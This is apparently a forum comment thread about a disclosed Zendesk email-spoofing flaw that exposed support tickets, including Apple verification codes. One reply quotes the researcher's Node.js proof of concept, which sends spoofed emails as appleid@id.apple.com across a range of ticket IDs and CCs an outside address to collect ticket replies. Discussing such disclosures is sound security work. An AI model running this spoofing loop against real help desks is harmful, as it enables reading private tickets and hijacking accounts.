Comment by johnmaguire

4 months ago

Are Google and Apple not doing proper SPF/DMARC/DKIM? I think they probably are - but this attack worked anyway.

Zendesk wasn't validating the email senders.

Apple and Google weren’t involved as email sender addresses.

  • Read the repro steps again:

    > Create an Apple account with support@company.com email and request a verification code, Apple sends verification code from appleid@id.apple.com to support@company.com and Zendesk automatically creates a ticket

    It's a clever attack.

    • I agree with your point, but that email's not the best example because it would have passed SPF/DMARC/DKIM. It's a step or two later that involved sending a spoofed email from appleid@id.apple.com :

        const sendmail = require('sendmail')();
        
        // Assuming the ticket you created in step #2 was assigned a ticket ID of #453 
        // verification email landed somewhere near there
        const range = [448, 457];
        for (let i = range[0]; i < range[1]; i++) {
            // Send spoofed emails from Apple to Zendesk
            sendmail({
                from: 'appleid@id.apple.com',
                to: `support+id${i}@company.com`,
                cc: 'daniel@wearehackerone.com',
                subject: '',
                html: 'comment body',
            }, function (err, reply) {
                console.log(err && err.stack)
                console.dir(reply)
            });
        };

      8 replies →

    • I wonder how redirects from support@company.com to zendesk work? if it's via MX records pointing to zendesk that it's zendesk's fault for not checking DMARC If it's another type of redirect then yes, you can blame customers for not verifying DMARC